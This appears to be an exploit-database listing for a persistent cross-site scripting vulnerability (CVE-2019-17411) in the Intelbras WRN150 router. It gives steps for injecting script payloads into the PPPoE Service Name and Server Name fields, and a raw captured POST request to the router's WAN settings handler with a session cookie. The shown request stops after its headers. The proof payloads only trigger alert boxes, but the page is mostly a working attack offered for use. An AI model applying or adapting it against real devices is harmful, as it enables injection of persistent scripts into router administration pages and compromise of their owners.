Intelbras router wrn150 1.0.18 persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-10-11 | Type : webapps | Platform : hardware
This exploit / vulnerability Intelbras router wrn150 1.0.18 persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting
# Date: 2019-10-03
# Exploit Author: Prof. Joas Antonio
# Vendor Homepage: https://www.intelbras.com/pt-br/
# Software Link: http://en.intelbras.com.br/node/25896
# Version: 1.0.18
# Tested on: Windows
# CVE : CVE-2019–17411

# PoC 1:

1) Login to your router

2) After signing in as WAN Settings

3) Select for PPPOE mode

4) In the Service Name and Server Name field, enter any of these payloads:

<script> alert ("Hacked") </script>

<script> alert (1) </script>

# PoC burp.txt

POST /goform/AdvSetWan HTTP/1.1
Host: TARGET
Content-Length: 281
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://TARGET/wan_connected.asp
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ecos_pw=bWFkYXJhMTIxMQ==2dw:language=pt
Connection: close